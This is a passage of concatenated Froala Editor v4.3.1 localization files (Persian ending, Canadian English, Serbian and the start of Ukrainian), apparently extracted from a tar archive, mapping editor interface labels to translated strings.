\u067E\u0632\u0634\u06A9\u06CC", // Line breaker 'Break': "\u0634\u06A9\u0633\u062A\u0646", // Math 'Subscript': "\u067E\u0627\u064A\u064A\u0646 \u0646\u0648\u064A\u0633", 'Superscript': "\u0628\u0627\u0644\u0627 \u0646\u06AF\u0627\u0634\u062A", // Full screen 'Fullscreen': "\u062A\u0645\u0627\u0645 \u0635\u0641\u062D\u0647", // Horizontal line 'Insert Horizontal Line': "\u0642\u0631\u0627\u0631 \u062F\u0627\u062F\u0646 \u0627\u0641\u0642\u06CC \u062E\u0637", // Clear formatting 'Clear Formatting': "\u062D\u0630\u0641 \u0642\u0627\u0644\u0628 \u0628\u0646\u062F\u06CC", // Save 'Save': "\u0635\u0631\u0641\u0647 \u062C\u0648\u06CC\u06CC", // Undo, redo 'Undo': "\u0628\u0627\u0637\u0644 \u06A9\u0631\u062F\u0646", 'Redo': "\u0627\u0646\u062C\u0627\u0645 \u062F\u0648\u0628\u0627\u0631\u0647", // Select all 'Select All': "\u0627\u0646\u062A\u062E\u0627\u0628 \u0647\u0645\u0647", // Code view 'Code View': "\u0645\u0634\u0627\u0647\u062F\u0647 \u06A9\u062F", // Quote 'Quote': "\u0646\u0642\u0644 \u0642\u0648\u0644", 'Increase': "\u0627\u0641\u0632\u0627\u06CC\u0634 \u062F\u0627\u062F\u0646", 'Decrease': "\u0646\u0632\u0648\u0644 \u06A9\u0631\u062F\u0646", // Quick Insert 'Quick Insert': "\u062F\u0631\u062C \u0633\u0631\u06CC\u0639", // Spcial Characters 'Special Characters': 'کاراکترهای خاص', 'Latin': 'لاتین', 'Greek': 'یونانی', 'Cyrillic': 'سیریلیک', 'Punctuation': 'نقطه گذاری', 'Currency': 'واحد پول', 'Arrows': 'فلش ها', 'Math': 'ریاضی', 'Misc': 'متاسفم', // Print. 'Print': 'چاپ', // Spell Checker. 'Spell Checker': 'بررسی کننده غلط املایی', // Help 'Help': 'کمک', 'Shortcuts': 'کلید های میانبر', 'Inline Editor': 'ویرایشگر خطی', 'Show the editor': 'ویرایشگر را نشان بده', 'Common actions': 'اقدامات مشترک', 'Copy': 'کپی کنید', 'Cut': 'برش', 'Paste': 'چسباندن', 'Basic Formatting': 'قالب بندی اولیه', 'Increase quote level': 'افزایش سطح نقل قول', 'Decrease quote level': 'کاهش میزان نقل قول', 'Image / Video': 'تصویر / ویدئو', 'Resize larger': 'تغییر اندازه بزرگتر', 'Resize smaller': 'تغییر اندازه کوچکتر', 'Table': 'جدول', 'Select table cell': 'سلول جدول را انتخاب کنید', 'Extend selection one cell': 'انتخاب یک سلول را گسترش دهید', 'Extend selection one row': 'یک ردیف را انتخاب کنید', 'Navigation': 'جهت یابی', 'Focus popup / toolbar': 'تمرکز پنجره / نوار ابزار', 'Return focus to previous position': 'تمرکز بازگشت به موقعیت قبلی', // Embed.ly 'Embed URL': 'آدرس جاسازی', 'Paste in a URL to embed': 'یک URL برای جاسازی کپی کنید', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'محتوای جا به جا از یک سند Word Microsoft می آید. آیا می خواهید فرمت را نگه دارید یا پاک کنید؟', 'Keep': 'نگاه داشتن', 'Clean': 'پاک کن', 'Word Paste Detected': 'کلمه رب تشخیص داده شده است', // Character Counter 'Characters': 'شخصیت ها', // More Buttons 'More Text': 'متن بیشتر', 'More Paragraph': 'پاراگراف بیشتر', 'More Rich': 'بیشتر ثروتمند', 'More Misc': 'بیشتر متفرقه' }, direction: 'rtl' }; }))); //# sourceMappingURL=fa.js.map languages/en_ca.js 0000674 00000016232 00000000000 0010065 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * English spoken in Canada */ FE.LANGUAGE['en_ca'] = { translation: { // Place holder 'Type something': 'Type something', // Basic formatting 'Bold': 'Bold', 'Italic': 'Italic', 'Underline': 'Underline', 'Strikethrough': 'Strikethrough', // Main buttons 'Insert': 'Insert', 'Delete': 'Delete', 'Cancel': 'Cancel', 'OK': 'OK', 'Back': 'Back', 'Remove': 'Remove', 'More': 'More', 'Update': 'Update', 'Style': 'Style', // Font 'Font Family': 'Font Family', 'Font Size': 'Font Size', // Colors 'Colors': 'Colours', 'Background': 'Background', 'Text': 'Text', 'HEX Color': 'HEX Colour', // Paragraphs 'Paragraph Format': 'Paragraph Format', 'Normal': 'Normal', 'Code': 'Code', 'Heading 1': 'Heading 1', 'Heading 2': 'Heading 2', 'Heading 3': 'Heading 3', 'Heading 4': 'Heading 4', // Style 'Paragraph Style': 'Paragraph Style', 'Inline Style': 'Inline Style', // Alignment 'Align': 'Align', 'Align Left': 'Align Left', 'Align Center': 'Align Centre', 'Align Right': 'Align Right', 'Align Justify': 'Align Justify', 'None': 'None', // Lists 'Ordered List': 'Ordered List', 'Unordered List': 'Unordered List', // Indent 'Decrease Indent': 'Decrease Indent', 'Increase Indent': 'Increase Indent', // Links 'Insert Link': 'Insert Link', 'Open in new tab': 'Open in new tab', 'Open Link': 'Open Link', 'Edit Link': 'Edit Link', 'Unlink': 'Unlink', 'Choose Link': 'Choose Link', // Images 'Insert Image': 'Insert Image', 'Upload Image': 'Upload Image', 'By URL': 'By URL', 'Browse': 'Browse', 'Drop image': 'Drop image', 'or click': 'or click', 'Manage Images': 'Manage Images', 'Loading': 'Loading', 'Deleting': 'Deleting', 'Tags': 'Tags', 'Are you sure? Image will be deleted.': 'Are you sure? Image will be deleted.', 'Replace': 'Replace', 'Uploading': 'Uploading', 'Loading image': 'Loading image', 'Display': 'Display', 'Inline': 'Inline', 'Break Text': 'Break Text', 'Alternative Text': 'Alternative Text', 'Change Size': 'Change Size', 'Width': 'Width', 'Height': 'Height', 'Something went wrong. Please try again.': 'Something went wrong. Please try again.', 'Image Caption': 'Image Caption', 'Advanced Edit': 'Advanced Edit', // Video 'Insert Video': 'Insert Video', 'Embedded Code': 'Embedded Code', 'Paste in a video URL': 'Paste in a video URL', 'Drop video': 'Drop video', 'Your browser does not support HTML5 video.': 'Your browser does not support HTML5 video.', 'Upload Video': 'Upload Video', // Tables 'Insert Table': 'Insert Table', 'Table Header': 'Table Header', 'Remove Table': 'Remove Table', 'Table Style': 'Table Style', 'Horizontal Align': 'Horizontal Align', 'Row': 'Row', 'Insert row above': 'Insert row above', 'Insert row below': 'Insert row below', 'Delete row': 'Delete row', 'Column': 'Column', 'Insert column before': 'Insert column before', 'Insert column after': 'Insert column after', 'Delete column': 'Delete column', 'Cell': 'Cell', 'Merge cells': 'Merge cells', 'Horizontal split': 'Horizontal split', 'Vertical split': 'Vertical split', 'Cell Background': 'Cell Background', 'Vertical Align': 'Vertical Align', 'Top': 'Top', 'Middle': 'Middle', 'Bottom': 'Bottom', 'Align Top': 'Align Top', 'Align Middle': 'Align Middle', 'Align Bottom': 'Align Bottom', 'Cell Style': 'Cell Style', // Files 'Upload File': 'Upload File', 'Drop file': 'Drop file', // Emoticons 'Emoticons': 'Emoticons', // Line breaker 'Break': 'Break', // Math 'Subscript': 'Subscript', 'Superscript': 'Superscript', // Full screen 'Fullscreen': 'Fullscreen', // Horizontal line 'Insert Horizontal Line': 'Insert Horizontal Line', // Clear formatting 'Clear Formatting': 'Clear Formatting', // Save 'Save': 'Save', // Undo, redo 'Undo': 'Undo', 'Redo': 'Redo', // Select all 'Select All': 'Select All', // Code view 'Code View': 'Code View', // Quote 'Quote': 'Quote', 'Increase': 'Increase', 'Decrease': 'Decrease', // Quick Insert 'Quick Insert': 'Quick Insert', // Spcial Characters 'Special Characters': 'Special Characters', 'Latin': 'Latin', 'Greek': 'Greek', 'Cyrillic': 'Cyrillic', 'Punctuation': 'Punctuation', 'Currency': 'Currency', 'Arrows': 'Arrows', 'Math': 'Math', 'Misc': 'Misc', // Print. 'Print': 'Print', // Spell Checker. 'Spell Checker': 'Spell Checker', // Help 'Help': 'Help', 'Shortcuts': 'Shortcuts', 'Inline Editor': 'Inline Editor', 'Show the editor': 'Show the editor', 'Common actions': 'Common actions', 'Copy': 'Copy', 'Cut': 'Cut', 'Paste': 'Paste', 'Basic Formatting': 'Basic Formatting', 'Increase quote level': 'Increase quote level', 'Decrease quote level': 'Decrease quote level', 'Image / Video': 'Image / Video', 'Resize larger': 'Resize larger', 'Resize smaller': 'Resize smaller', 'Table': 'Table', 'Select table cell': 'Select table cell', 'Extend selection one cell': 'Extend selection one cell', 'Extend selection one row': 'Extend selection one row', 'Navigation': 'Navigation', 'Focus popup / toolbar': 'Focus popup / toolbar', 'Return focus to previous position': 'Return focus to previous position', // Embed.ly 'Embed URL': 'Embed URL', 'Paste in a URL to embed': 'Paste in a URL to embed', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?', 'Keep': 'Keep', 'Clean': 'Clean', 'Word Paste Detected': 'Word Paste Detected', // Character Counter 'Characters': 'Characters', // More Buttons 'More Text': 'More Text', 'More Paragraph': 'More Paragraph', 'More Rich': 'More Rich', 'More Misc': 'More Misc' }, direction: 'ltr' }; }))); //# sourceMappingURL=en_ca.js.map languages/sr.js 0000674 00000025710 00000000000 0007445 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Serbian (Latin) */ FE.LANGUAGE['sr'] = { translation: { // Place holder 'Type something': "Ukucajte ne\u0161tp", // Basic formatting 'Bold': 'Podebljan', 'Italic': "Isko\u0161en", 'Underline': "Podvu\u010Deno", 'Strikethrough': 'Precrtan', // Main buttons 'Insert': 'Umetanje', 'Delete': "Izbri\u0161i", 'Cancel': 'Otkazivanje', 'OK': 'Ok', 'Back': 'Nazad', 'Remove': 'Uklonite', 'More': "Vi\u0161e", 'Update': "A\u017Euriranje", 'Style': 'Stil', // Font 'Font Family': 'Odaberi font', 'Font Size': "Veli\u010Dina fontova", // Colors 'Colors': 'Boje', 'Background': 'Pozadina', 'Text': 'Tekst', 'HEX Color': 'HEX boje', // Paragraphs 'Paragraph Format': 'Format pasusa', 'Normal': 'Normalno', 'Code': "\u0160ifra", 'Heading 1': 'Naslov 1', 'Heading 2': 'Naslov 2', 'Heading 3': 'Naslov 3', 'Heading 4': 'Naslov 4', // Style 'Paragraph Style': 'Stil pasusa', 'Inline Style': 'Umetnutih stilova', // Alignment 'Align': 'Poravnavanje', 'Align Left': 'Poravnaj levo', 'Align Center': 'Poravnaj u centru', 'Align Right': 'Poravnaj desno', 'Align Justify': 'Obostrano poravnavanje', 'None': 'Niko nije', // Lists 'Ordered List': "Ure\u0111enih lista", 'Unordered List': "Neure\u0111enu lista", // Indent 'Decrease Indent': "Smanjivanje uvla\u010Denja", 'Increase Indent': "Pove\u0107avanje uvla\u010Denja", // Links 'Insert Link': 'Umetni vezu', 'Open in new tab': 'Otvori na novoj kartici', 'Open Link': 'Otvori vezu', 'Edit Link': "Ure\u0111ivanje veze", 'Unlink': 'Ukloni vezu', 'Choose Link': 'Odaberite vezu', // Images 'Insert Image': 'Umetanje slike', 'Upload Image': 'Otpremanje slika', 'By URL': 'Po URL adresi', 'Browse': "Potra\u017Ei", 'Drop image': 'Baci sliku', 'or click': 'ili kliknite na dugme', 'Manage Images': 'Upravljanje slike', 'Loading': "U\u010Ditavanje", 'Deleting': 'Brisanje', 'Tags': 'Oznake', 'Are you sure? Image will be deleted.': "Jesi siguran? Slika \u0107e biti izbrisana.", 'Replace': 'Zameni', 'Uploading': 'Otpremanje', 'Loading image': "U\u010Ditavanje slika", 'Display': 'Prikaz', 'Inline': 'Pri upisivanju', 'Break Text': 'Prelom teksta', 'Alternative Text': 'Alternativni tekst', 'Change Size': "Promena veli\u010Dine", 'Width': "\u0160irina", 'Height': 'Visina', 'Something went wrong. Please try again.': "Ne\u0161to krenulo naopako. Poku\u0161ajte ponovo.", 'Image Caption': 'Slika natpisa', 'Advanced Edit': 'Napredno uređivanje', // Video 'Insert Video': 'Umetanje video', 'Embedded Code': "Ugra\u0111eni k\xF4d", 'Paste in a video URL': 'Lepljenje u video URL', 'Drop video': 'Baci snimak', 'Your browser does not support HTML5 video.': 'Vaš pregledač ne podržava HTML5 video.', 'Upload Video': 'Otpremanje video', // Tables 'Insert Table': 'Umetni tabelu', 'Table Header': 'Zaglavlje tabele', 'Remove Table': 'Uklanjanje tabele', 'Table Style': 'Stil tabele', 'Horizontal Align': 'Horizontalno poravnavanje', 'Row': 'Red', 'Insert row above': 'Umetni red iznad', 'Insert row below': 'Umetni red ispod', 'Delete row': "Izbri\u0161i red", 'Column': 'Kolone', 'Insert column before': 'Umetnite kolonu pre', 'Insert column after': 'Umetnite kolonu nakon', 'Delete column': "Izbri\u0161i kolone", 'Cell': 'Mobilni', 'Merge cells': "Objedinjavanje \u0107elija", 'Horizontal split': 'Horizontalna split', 'Vertical split': 'Vertikalno razdelite', 'Cell Background': 'Mobilni pozadina', 'Vertical Align': 'Vertikalno poravnavanje', 'Top': 'Top', 'Middle': 'Srednji', 'Bottom': 'Dno', 'Align Top': 'Poravnaj gore', 'Align Middle': 'Poravnaj po sredini', 'Align Bottom': 'Poravnaj dole', 'Cell Style': 'Mobilni stil', // Files 'Upload File': 'Otpremanje datoteke', 'Drop file': 'Baci datoteku', // Emoticons 'Emoticons': 'Emotikona', 'Grinning face': 'Nasmejanoj lice', 'Grinning face with smiling eyes': "Nasmejanoj lice sa osmehom o\u010Di", 'Face with tears of joy': "Suo\u010Davaju sa suzama radosnicama", 'Smiling face with open mouth': 'Nasmejano lice sa otvorenim ustima', 'Smiling face with open mouth and smiling eyes': "Lica sa otvorenim ustima i nasmejani o\u010Di", 'Smiling face with open mouth and cold sweat': 'Nasmejano lice sa otvorenih usta i hladan znoj', 'Smiling face with open mouth and tightly-closed eyes': "Nasmejano lice otvorenih usta i \u010Dvrsto zatvorenih o\u010Diju", 'Smiling face with halo': 'Nasmejano lice sa oreolom', 'Smiling face with horns': 'Nasmejano lice sa rogovima', 'Winking face': 'Namigivanje lice', 'Smiling face with smiling eyes': "Lica sa osmehom o\u010Di", 'Face savoring delicious food': "Lice u\u045Bivaju\u0436i u ukusnu hranu", 'Relieved face': 'Laknulo lice', 'Smiling face with heart-shaped eyes': "Nasmejano lice sa o\u010Dima u obliku srca", 'Smiling face with sunglasses': "Nasmejano lice sa nao\u010Dare", 'Smirking face': "Rugaju\u0436i lice", 'Neutral face': 'Neutralno lice', 'Expressionless face': 'Bez izraza lica.', 'Unamused face': 'Nije zapaljen lice', 'Face with cold sweat': "Suo\u010Davaju sa hladnim znojem", 'Pensive face': 'Nevesela lica', 'Confused face': 'Zbunjeno lice', 'Confounded face': 'Dosadnih lice', 'Kissing face': 'Ljubim lice', 'Face throwing a kiss': 'Lice baca poljubac', 'Kissing face with smiling eyes': "Ljubi lice sa osmehom o\u010Di", 'Kissing face with closed eyes': "Ljubi lice sa zatvorenim o\u010Dima", 'Face with stuck out tongue': 'Lice sa zaglavio jezik', 'Face with stuck out tongue and winking eye': 'Lice sa zaglavljen jezik i namigivanje', 'Face with stuck out tongue and tightly-closed eyes': "Lice sa zaglavljen jezik i cvrsto zatvorene o\u010Di", 'Disappointed face': "Razo\u010Darani lice", 'Worried face': 'Zabrinuto lice', 'Angry face': 'Ljut lice', 'Pouting face': 'Zlovoljan lice', 'Crying face': 'Plakanje lice', 'Persevering face': 'Istrajnog lice', 'Face with look of triumph': "Suo\u010Davaju sa izgledom trijumfa", 'Disappointed but relieved face': "Razo\u010Daran ali laknulo lice", 'Frowning face with open mouth': 'Namršten lice sa otvorenim ustima', 'Anguished face': 'Enih lica', 'Fearful face': 'Strahu lice', 'Weary face': 'Umorna lica', 'Sleepy face': 'Spava mi se lice', 'Tired face': 'Umorna lica', 'Grimacing face': 'Klupi lice', 'Loudly crying face': 'Glasno plakanje lice', 'Face with open mouth': "Suo\u010Davaju sa otvorenim ustima", 'Hushed face': 'Tihim lice', 'Face with open mouth and cold sweat': "Suo\u010Davaju sa otvorenih usta i hladan znoj", 'Face screaming in fear': 'Lice vrisak u strahu', 'Astonished face': 'Zadivljeni lice', 'Flushed face': 'Uplakanu lice', 'Sleeping face': 'Pospanog lica', 'Dizzy face': 'Lice mi se vrti', 'Face without mouth': 'Lice bez jezika', 'Face with medical mask': "Suo\u010Davaju sa medicinskim masku", // Line breaker 'Break': 'Prelom', // Math 'Subscript': 'Indeksni tekst', 'Superscript': 'Eksponentni tekst', // Full screen 'Fullscreen': 'Puni ekran', // Horizontal line 'Insert Horizontal Line': 'Umetni horizontalnu liniju', // Clear formatting 'Clear Formatting': 'Brisanje oblikovanja', // Save 'Save': "\u0441\u0430\u0447\u0443\u0432\u0430\u0442\u0438", // Undo, redo 'Undo': 'Opozovi radnju', 'Redo': 'Ponavljanje', // Select all 'Select All': 'Izaberi sve', // Code view 'Code View': 'Prikaz koda', // Quote 'Quote': 'Ponude', 'Increase': "Pove\u0107anje", 'Decrease': 'Smanjivanje', // Quick Insert 'Quick Insert': 'Brzo umetanje', // Spcial Characters 'Special Characters': 'Specijalni znakovi', 'Latin': 'Latino', 'Greek': 'Grk', 'Cyrillic': 'Ćirilica', 'Punctuation': 'Interpunkcije', 'Currency': 'Valuta', 'Arrows': 'Strelice', 'Math': 'Matematika', 'Misc': 'Misc', // Print. 'Print': 'Odštampaj', // Spell Checker. 'Spell Checker': 'Kontrolor pravopisa', // Help 'Help': 'Pomoć', 'Shortcuts': 'Prečice', 'Inline Editor': 'Pri upisivanju Editor', 'Show the editor': 'Prikaži urednik', 'Common actions': 'Zajedničke akcije', 'Copy': 'Kopija', 'Cut': 'Rez', 'Paste': 'Nalepi', 'Basic Formatting': 'Osnovno oblikovanje', 'Increase quote level': 'Povećati ponudu za nivo', 'Decrease quote level': 'Smanjenje ponude nivo', 'Image / Video': 'Slika / Video', 'Resize larger': 'Veće veličine', 'Resize smaller': 'Promena veličine manji', 'Table': 'Sto', 'Select table cell': 'Select ćelije', 'Extend selection one cell': 'Proširite selekciju jednu ćeliju', 'Extend selection one row': 'Proširite selekciju jedan red', 'Navigation': 'Navigacija', 'Focus popup / toolbar': 'Fokus Iskačući meni / traka sa alatkama', 'Return focus to previous position': 'Vratiti fokus na prethodnu poziciju', // Embed.ly 'Embed URL': 'Ugradite URL', 'Paste in a URL to embed': 'Nalepite URL adresu da biste ugradili', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Nalepljeni sadržaj dolazi iz Microsoft Word dokument. Da li želite zadržati u formatu ili počistiti?', 'Keep': 'Nastavi', 'Clean': 'Oиisti', 'Word Paste Detected': 'Word Nalepi otkriven', // Character Counter 'Characters': 'Цхарацтерс', // More Buttons 'More Text': 'море Тект', 'More Paragraph': 'Више Параграф', 'More Rich': 'Више Богат', 'More Misc': 'Више Мисц' }, direction: 'ltr' }; }))); //# sourceMappingURL=sr.js.map languages/uk.js 0000674 00000057703 00000000000 0007447 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Ukrainian */ FE.LANGUAGE['uk'] = { translation: { // Place holder 'Type something': "\u041D\u0430\u043F\u0438\u0448\u0456\u0442\u044C \u0431\u0443\u0434\u044C-\u0449\u043E", // Basic formatting 'Bold': "\u0416\u0438\u0440\u043D\u0438\u0439", 'Italic': "\u041A\u0443\u0440\u0441\u0438\u0432", 'Underline': "\u041F\u0456\u0434\u043A\u0440\u0435\u0441\u043B\u0435\u043D\u0438\u0439", 'Strikethrough': "\u0417\u0430\u043A\u0440\u0435\u0441\u043B\u0435\u043D\u0438\u0439", // Main buttons 'Insert': "\u0432\u0441\u0442\u0430\u0432\u0438\u0442\u0438", 'Delete': "\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438", 'Cancel': "\u0421\u043A\u0430\u0441\u0443\u0432\u0430\u0442\u0438", 'OK': 'OK', 'Back': "\u043D\u0430\u0437\u0430\u0434", 'Remove': "\u0432\u0438\u0434\u0430\u043B\u0438\u0442\u0438", 'More': "\u0431\u0456\u043B\u044C\u0448\u0435", 'Update': "\u043E\u043D\u043E\u0432\u043B\u0435\u043D\u043D\u044F", 'Style': "\u0441\u0442\u0438\u043B\u044C", // Font 'Font Family': "\u0428\u0440\u0438\u0444\u0442", 'Font Size': "\u0420\u043E\u0437\u043C\u0456\u0440 \u0448\u0440\u0438\u0444\u0442\u0443", // Colors 'Colors': "\u043A\u043E\u043B\u044C\u043E\u0440\u0438", 'Background': "\u0424\u043E\u043D", 'Text': "\u0422\u0435\u043A\u0441\u0442", 'HEX Color': 'Шістнадцятковий колір', // Paragraphs 'Paragraph Format': "\u0424\u043E\u0440\u043C\u0430\u0442", 'Normal': "\u041D\u043E\u0440\u043C\u0430\u043B\u044C\u043D\u0438\u0439", 'Code': "\u041A\u043E\u0434", 'Heading 1': "\u0417\u0430\u0433\u043E\u043B\u043E\u0432\u043E\u043A 1", 'Heading 2': "\u0417\u0430\u0433\u043E\u043B\u043E\u0432\u043E\u043A 2", 'Heading 3': "\u0417\u0430\u0433\u043E\u043B\u043E\u0432\u043E\u043A 3", 'Heading 4': "\u0417\u0430\u0433\u043E\u043B\u043E\u0432\u043E\u043A 4", // Style 'Paragraph Style': "\u043F\u0443\u043D\u043A\u0442 \u0441\u0442\u0438\u043B\u044C", 'Inline Style': "\u0432\u0431\u0443\u0434\u043E\u0432\u0430\u043D\u0438\u0439 \u0441\u0442\u0438\u043B\u044C", // Alignment 'Align': "\u0412\u0438\u0440\u0456\u0432\u043D\u044E\u0432\u0430\u043D\u043D\u044F", 'Align Left': "\u041F\u043E \u043B\u0456\u0432\u043E\u043C\u0443 \u043A\u0440\u0430\u044E", 'Align Center': "\u041F\u043E \u0446\u0435\u043D\u0442\u0440\u0443", 'Align Right': "\u041F\u043E \u043F\u0440\u0430\u0432\u043E\u043C\u0443 \u043A\u0440\u0430\u044E", 'Align Justify': "\u041F\u043E \u0448\u0438\u0440\u0438\u043D\u0456", 'None': "\u043D\u0456", // Lists 'Ordered List': "\u041D\u0443\u043C\u0435\u0440\u043E\u0432\u0430\u043D\u0438\u0439 \u0441\u043F\u0438\u0441\u043E\u043A", 'Unordered List': "\u041C\u0430\u0440\u043A\u043E\u0432\u0430\u043D\u0438\u0439 \u0441\u043F\u0438\u0441\u043E\u043A", // Indent 'Decrease Indent': "\u0417\u043C\u0435\u043D\u0448\u0438\u0442\u0438 \u0432\u0456\u0434\u0441\u0442\u0443\u043F", 'Increase Indent': "\u0417\u0431\u0456\u043B\u044C\u0448\u0438\u0442\u0438 \u0432\u0456\u0434\u0441\u0442\u0443\u043F", // Links 'Insert Link': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043F\u043E\u0441\u0438\u043B\u0430\u043D\u043D\u044F", 'Open in new tab': "\u0412\u0456\u0434\u043A\u0440\u0438\u0442\u0438 \u0432 \u043D\u043E\u0432\u0456\u0439 \u0432\u043A\u043B\u0430\u0434\u0446\u0456", 'Open Link': "\u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438 \u043F\u043E\u0441\u0438\u043B\u0430\u043D\u043D\u044F", 'Edit Link': "\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u043F\u043E\u0441\u0438\u043B\u0430\u043D\u043D\u044F", 'Unlink': "\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438 \u043F\u043E\u0441\u0438\u043B\u0430\u043D\u043D\u044F", 'Choose Link': "\u0412\u0438\u0431\u0435\u0440\u0456\u0442\u044C \u043F\u043E\u0441\u0438\u043B\u0430\u043D\u043D\u044F", // Images 'Insert Image': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u043D\u044F", 'Upload Image': "\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0438\u0442\u0438 \u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u043D\u044F", 'By URL': "\u0437\u0430 URL", 'Browse': "\u043F\u0435\u0440\u0435\u0433\u043B\u044F\u0434\u0430\u0442\u0438", 'Drop image': "\u041F\u0435\u0440\u0435\u043C\u0456\u0441\u0442\u0456\u0442\u044C \u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u043D\u044F \u0441\u044E\u0434\u0438", 'or click': "\u0430\u0431\u043E \u043D\u0430\u0442\u0438\u0441\u043D\u0456\u0442\u044C", 'Manage Images': "\u041A\u0435\u0440\u0443\u0432\u0430\u043D\u043D\u044F \u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u043D\u044F\u043C\u0438", 'Loading': "\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0435\u043D\u043D\u044F", 'Deleting': "\u0432\u0438\u0434\u0430\u043B\u0435\u043D\u043D\u044F", 'Tags': "\u043A\u043B\u044E\u0447\u043E\u0432\u0456 \u0441\u043B\u043E\u0432\u0430", 'Are you sure? Image will be deleted.': "\u0412\u0438 \u0432\u043F\u0435\u0432\u043D\u0435\u043D\u0456? \u0417\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u043D\u044F \u0431\u0443\u0434\u0435 \u0432\u0438\u0434\u0430\u043B\u0435\u043D\u043E.", 'Replace': "\u0437\u0430\u043C\u0456\u043D\u044E\u0432\u0430\u0442\u0438", 'Uploading': "\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0435\u043D\u043D\u044F", 'Loading image': "\u0417\u0430\u0432\u0430\u043D\u0442\u0430\u0436\u0435\u043D\u043D\u044F \u0437\u043E\u0431\u0440\u0430\u0436\u0435\u043D\u044C", 'Display': "\u0434\u0438\u0441\u043F\u043B\u0435\u0439", 'Inline': "\u0412 \u043B\u0456\u043D\u0456\u044E", 'Break Text': "\u043F\u0435\u0440\u0435\u0440\u0432\u0430 \u0442\u0435\u043A\u0441\u0442", 'Alternative Text': "\u0430\u043B\u044C\u0442\u0435\u0440\u043D\u0430\u0442\u0438\u0432\u043D\u0438\u0439 \u0442\u0435\u043A\u0441\u0442", 'Change Size': "\u0437\u043C\u0456\u043D\u0438\u0442\u0438 \u0440\u043E\u0437\u043C\u0456\u0440", 'Width': "\u0428\u0438\u0440\u0438\u043D\u0430", 'Height': "\u0412\u0438\u0441\u043E\u0442\u0430", 'Something went wrong. Please try again.': "\u0429\u043E\u0441\u044C \u043F\u0456\u0448\u043B\u043E \u043D\u0435 \u0442\u0430\u043A. \u0411\u0443\u0434\u044C \u043B\u0430\u0441\u043A\u0430 \u0441\u043F\u0440\u043E\u0431\u0443\u0439\u0442\u0435 \u0449\u0435 \u0440\u0430\u0437.", 'Image Caption': 'Заголовок зображення', 'Advanced Edit': 'Розширений редагування', // Video 'Insert Video': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0432\u0456\u0434\u0435\u043E", 'Embedded Code': "\u0432\u0431\u0443\u0434\u043E\u0432\u0430\u043D\u0438\u0439 \u043A\u043E\u0434", 'Paste in a video URL': 'Вставте в відео-URL', 'Drop video': 'Перетягніть відео', 'Your browser does not support HTML5 video.': 'Ваш браузер не підтримує відео html5.', 'Upload Video': 'Завантажити відео', // Tables 'Insert Table': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0442\u0430\u0431\u043B\u0438\u0446\u044E", 'Table Header': "\u0417\u0430\u0433\u043E\u043B\u043E\u0432\u043E\u043A \u0442\u0430\u0431\u043B\u0438\u0446\u0456", 'Remove Table': "\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438 \u0442\u0430\u0431\u043B\u0438\u0446\u0456", 'Table Style': "\u0421\u0442\u0438\u043B\u044C \u0442\u0430\u0431\u043B\u0438\u0446\u0456", 'Horizontal Align': "\u0413\u043E\u0440\u0438\u0437\u043E\u043D\u0442\u0430\u043B\u044C\u043D\u0435 \u0432\u0438\u0440\u0456\u0432\u043D\u044E\u0432\u0430\u043D\u043D\u044F", 'Row': "\u0420\u044F\u0434\u043E\u043A", 'Insert row above': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043F\u043E\u0440\u043E\u0436\u043D\u0456\u0439 \u0440\u044F\u0434\u043E\u043A \u0437\u0432\u0435\u0440\u0445\u0443", 'Insert row below': "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043F\u043E\u0440\u043E\u0436\u043D\u0456\u0439 \u0440\u044F\u0434\u043E\u043A \u0437\u043D\u0438\u0437\u0443", 'Delete row': "\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438 \u0440\u044F\u0434\u043E\u043A", 'Column': "\u0421\u0442\u043E\u0432\u043F\u0435\u0446\u044C", 'Insert column before': 